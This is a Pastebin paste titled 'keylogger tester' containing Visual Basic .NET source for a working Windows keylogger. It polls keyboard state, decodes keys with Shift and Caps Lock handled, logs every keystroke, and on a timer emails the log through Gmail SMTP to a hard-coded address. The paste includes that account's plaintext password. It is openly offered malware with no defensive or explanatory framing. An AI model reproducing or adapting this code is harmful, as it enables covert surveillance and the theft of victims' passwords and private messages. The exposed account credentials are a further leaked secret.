API tools faq
paste
Advertisement
Guest User

keylogger tester

a guest
Jun 19th, 2019
211
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XPP 14.06 KB | None | 0 0
raw download clone embed print report diff
  1. Imports System.Net.Mail, System.Net, System.IO, System.Diagnostics.Process, System.Management
  2. 'Code by Techmaxed
  3. Public Class Form1
  4.    Dim result As Integer
  5.    Dim strin As String = Nothing
  6.    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  7.    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Integer
  8.    Public Function GetCapslock() As Boolean
  9.  
  10.        GetCapslock = CBool(GetKeyState(&H14) And 1)
  11.  
  12.    End Function
  13.  
  14.    Public Function GetShift() As Boolean
  15.        ' Return Or Set the Capslock toggle.
  16.         GetShift = CBool(GetAsyncKeyState(&H10))
  17.     End Function
  18.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  19.  
  20.         For i As Integer = 1 To 225
  21.             result = 0
  22.             result = GetAsyncKeyState(i)
  23.             If result = -32767 Then
  24.                 If GetCapslock() = True And GetShift() = True Then
  25.                     Select Case (i)
  26.                         Case 192
  27.                             TextBox1.Text = TextBox1.Text + "~"
  28.                         Case 1
  29.                             'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  30.                        Case 64 To 90
  31.                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  32.                        Case 97 To 122
  33.                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  34.                        Case 32
  35.                            TextBox1.Text = TextBox1.Text + " "
  36.                        Case 48
  37.                            TextBox1.Text = TextBox1.Text + ")"
  38.                        Case 49
  39.                            TextBox1.Text = TextBox1.Text + "!"
  40.                        Case 50
  41.                            TextBox1.Text = TextBox1.Text + "@"
  42.                        Case 51
  43.                            TextBox1.Text = TextBox1.Text + "#"
  44.                        Case 52
  45.                            TextBox1.Text = TextBox1.Text + "$"
  46.                        Case 53
  47.                            TextBox1.Text = TextBox1.Text + "%"
  48.                        Case 54
  49.                            TextBox1.Text = TextBox1.Text + "^"
  50.                        Case 55
  51.                            TextBox1.Text = TextBox1.Text + "&"
  52.                        Case 56
  53.                            TextBox1.Text = TextBox1.Text + "*"
  54.                        Case 57
  55.                            TextBox1.Text = TextBox1.Text + "("
  56.                        Case 8
  57.                            TextBox1.Text = TextBox1.Text + ""
  58.                        Case 46
  59.                            TextBox1.Text = TextBox1.Text + "[Del]"
  60.                        Case 190
  61.                            TextBox1.Text = TextBox1.Text + ">"
  62.                        Case 16
  63.                        Case 160 To 165
  64.                        Case 17
  65.                            TextBox1.Text = TextBox1.Text + ""
  66.                        Case 18
  67.                            TextBox1.Text = TextBox1.Text + ""
  68.                        Case 189
  69.                            TextBox1.Text = TextBox1.Text + "_"
  70.                        Case 187
  71.                            TextBox1.Text = TextBox1.Text + "+"
  72.                        Case 219
  73.                            TextBox1.Text = TextBox1.Text + "{"
  74.                        Case 221
  75.                            TextBox1.Text = TextBox1.Text + "}"
  76.                        Case 186
  77.                            TextBox1.Text = TextBox1.Text + ":"
  78.                        Case 222
  79.                            TextBox1.Text = TextBox1.Text + """"
  80.                        Case 188
  81.                            TextBox1.Text = TextBox1.Text + "<"
  82.                        Case 191
  83.                            TextBox1.Text = TextBox1.Text + "?"
  84.                        Case 220
  85.                            TextBox1.Text = TextBox1.Text + "|"
  86.                        Case 13
  87.                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  88.                        Case 20
  89.                        Case 91 'windows key
  90.  
  91.                         Case 2
  92.                             TextBox1.Text = TextBox1.Text + " [PPM]"
  93.                         Case 37 To 40
  94.                         Case Else
  95.                             TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  96.                     End Select
  97.                 End If
  98.                 If GetCapslock() = True And GetShift() = False Then
  99.                     Select Case (i)
  100.                         Case 91 'windows key
  101.                        Case 1
  102.                            'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  103.                         Case 64 To 90
  104.                             TextBox1.Text = TextBox1.Text + Chr(i)
  105.                         Case 97 To 122
  106.                             TextBox1.Text = TextBox1.Text + Chr(i)
  107.                         Case 32
  108.                             TextBox1.Text = TextBox1.Text + " "
  109.                         Case 48 To 57
  110.                             TextBox1.Text = TextBox1.Text + Chr(i)
  111.                         Case 8
  112.                             TextBox1.Text = TextBox1.Text + ""
  113.                         Case 46
  114.                             TextBox1.Text = TextBox1.Text + "[Del]"
  115.                         Case 190
  116.                             TextBox1.Text = TextBox1.Text + "."
  117.                         Case 16
  118.                         Case 160 To 165
  119.                         Case 20
  120.                         Case 192
  121.                             TextBox1.Text = TextBox1.Text + "`"
  122.                         Case 189
  123.                             TextBox1.Text = TextBox1.Text + "-"
  124.                         Case 187
  125.                             TextBox1.Text = TextBox1.Text + "="
  126.  
  127.                         Case 219
  128.                             TextBox1.Text = TextBox1.Text + "["
  129.                         Case 221
  130.                             TextBox1.Text = TextBox1.Text + "]"
  131.                         Case 186
  132.                             TextBox1.Text = TextBox1.Text + ";"
  133.                         Case 222
  134.                             TextBox1.Text = TextBox1.Text + "'"
  135.                         Case 188
  136.                             TextBox1.Text = TextBox1.Text + ","
  137.                         Case 191
  138.                             TextBox1.Text = TextBox1.Text + "/"
  139.                         Case 220
  140.                             TextBox1.Text = TextBox1.Text + "\"
  141.                        Case 17
  142.                            TextBox1.Text = TextBox1.Text + ""
  143.                        Case 18
  144.                            TextBox1.Text = TextBox1.Text + ""
  145.                        Case 13
  146.                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  147.  
  148.                        Case 2
  149.                            TextBox1.Text = TextBox1.Text + " [PPM]"
  150.                        Case 37 To 40
  151.                        Case Else
  152.                            TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  153.                    End Select
  154.                End If
  155.                If GetCapslock() = False And GetShift() = True Then
  156.                    Select Case (i)
  157.                        Case 91 'windows key
  158.                        Case 192
  159.                            TextBox1.Text = TextBox1.Text + "~"
  160.                        Case 1
  161.                            ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  162.                        Case 64 To 90
  163.                            TextBox1.Text = TextBox1.Text + Chr(i)
  164.                        Case 97 To 122
  165.                            TextBox1.Text = TextBox1.Text + Chr(i)
  166.                        Case 32
  167.                            TextBox1.Text = TextBox1.Text + " "
  168.                        Case 48
  169.                            TextBox1.Text = TextBox1.Text + ")"
  170.                        Case 49
  171.                            TextBox1.Text = TextBox1.Text + "!"
  172.                        Case 50
  173.                            TextBox1.Text = TextBox1.Text + "@"
  174.                        Case 51
  175.                            TextBox1.Text = TextBox1.Text + "#"
  176.                        Case 52
  177.                            TextBox1.Text = TextBox1.Text + "$"
  178.                        Case 53
  179.                            TextBox1.Text = TextBox1.Text + "%"
  180.                        Case 54
  181.                            TextBox1.Text = TextBox1.Text + "^"
  182.                        Case 55
  183.                            TextBox1.Text = TextBox1.Text + "&"
  184.                        Case 56
  185.                            TextBox1.Text = TextBox1.Text + "*"
  186.                        Case 57
  187.                            TextBox1.Text = TextBox1.Text + "("
  188.                        Case 8
  189.                            TextBox1.Text = TextBox1.Text + " [<-] "
  190.                        Case 46
  191.                            TextBox1.Text = TextBox1.Text + "[Del]"
  192.                        Case 190
  193.                            TextBox1.Text = TextBox1.Text + ">"
  194.                        Case 16
  195.                        Case 160 To 165
  196.                        Case 17
  197.                            TextBox1.Text = TextBox1.Text + ""
  198.                        Case 18
  199.                            TextBox1.Text = TextBox1.Text + ""
  200.                        Case 189
  201.                            TextBox1.Text = TextBox1.Text + "_"
  202.                        Case 187
  203.                            TextBox1.Text = TextBox1.Text + "+"
  204.                        Case 219
  205.                            TextBox1.Text = TextBox1.Text + "{"
  206.                        Case 221
  207.                            TextBox1.Text = TextBox1.Text + "}"
  208.                        Case 186
  209.                            TextBox1.Text = TextBox1.Text + ":"
  210.                        Case 222
  211.                            TextBox1.Text = TextBox1.Text + """"
  212.                        Case 188
  213.                            TextBox1.Text = TextBox1.Text + "<"
  214.                        Case 191
  215.                            TextBox1.Text = TextBox1.Text + "?"
  216.                        Case 220
  217.                            TextBox1.Text = TextBox1.Text + "|"
  218.                        Case 13
  219.                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  220.  
  221.                        Case 20
  222.                        Case 2
  223.                            TextBox1.Text = TextBox1.Text + " [PPM]"
  224.                        Case 37 To 40
  225.                        Case Else
  226.                            TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  227.                    End Select
  228.                End If
  229.                If GetCapslock() = False And GetShift() = False Then
  230.                    Select Case (i)
  231.                        Case 1
  232.                            ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  233.                        Case 64 To 90
  234.                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  235.                        Case 97 To 122
  236.                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  237.                        Case 32
  238.                            TextBox1.Text = TextBox1.Text + " "
  239.                        Case 48 To 57
  240.                            TextBox1.Text = TextBox1.Text + Chr(i)
  241.                        Case 8
  242.                            TextBox1.Text = TextBox1.Text + " [<-] "
  243.                        Case 46
  244.                            TextBox1.Text = TextBox1.Text + "[Del]"
  245.                        Case 190
  246.                            TextBox1.Text = TextBox1.Text + "."
  247.                        Case 16
  248.                        Case 160 To 165
  249.                        Case 20
  250.                        Case 192
  251.                            TextBox1.Text = TextBox1.Text + "`"
  252.                        Case 189
  253.                            TextBox1.Text = TextBox1.Text + "-"
  254.                        Case 187
  255.                            TextBox1.Text = TextBox1.Text + "="
  256.                        Case 91 'windows key
  257.                        Case 219
  258.                            TextBox1.Text = TextBox1.Text + "["
  259.                        Case 221
  260.                            TextBox1.Text = TextBox1.Text + "]"
  261.                        Case 186
  262.                            TextBox1.Text = TextBox1.Text + ";"
  263.                        Case 222
  264.                            TextBox1.Text = TextBox1.Text + "'"
  265.                        Case 188
  266.                            TextBox1.Text = TextBox1.Text + ","
  267.                        Case 191
  268.                            TextBox1.Text = TextBox1.Text + "/"
  269.                        Case 220
  270.                            TextBox1.Text = TextBox1.Text + "\"
  271.                        Case 17
  272.                            TextBox1.Text = TextBox1.Text + ""
  273.                        Case 18
  274.                            TextBox1.Text = TextBox1.Text + ""
  275.                        Case 13
  276.                            TextBox1.Text = TextBox1.Text + " [Enter] " + vbNewLine
  277.  
  278.                        Case 2
  279.                            TextBox1.Text = TextBox1.Text + " [PPM]"
  280.                        Case 37 To 40
  281.  
  282.                        Case Else
  283.                            TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  284.                    End Select
  285.                End If
  286.  
  287.            End If
  288.        Next i
  289.    End Sub
  290.    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  291.        Dim MyMailMessage As New MailMessage
  292.        MyMailMessage.From = New MailAddress("21bobiaz@gmail.com")
  293.        MyMailMessage.To.Add("21bobiaz@gmail.com")
  294.        MyMailMessage.Subject = ("Information keylogger:")
  295.        MyMailMessage.Body = TextBox1.Text
  296.        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  297.        SMTPServer.Port = 587
  298.        SMTPServer.Host = "smtp.gmail.com"
  299.        SMTPServer.Credentials = New System.Net.NetworkCredential("21bobiaz@gmail.com","pooplol123")
  300.        SMTPServer.EnableSsl = True
  301.        SMTPServer.Send(MyMailMessage)
  302.        TextBox1.Text = ("")
  303.    End Sub
  304. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!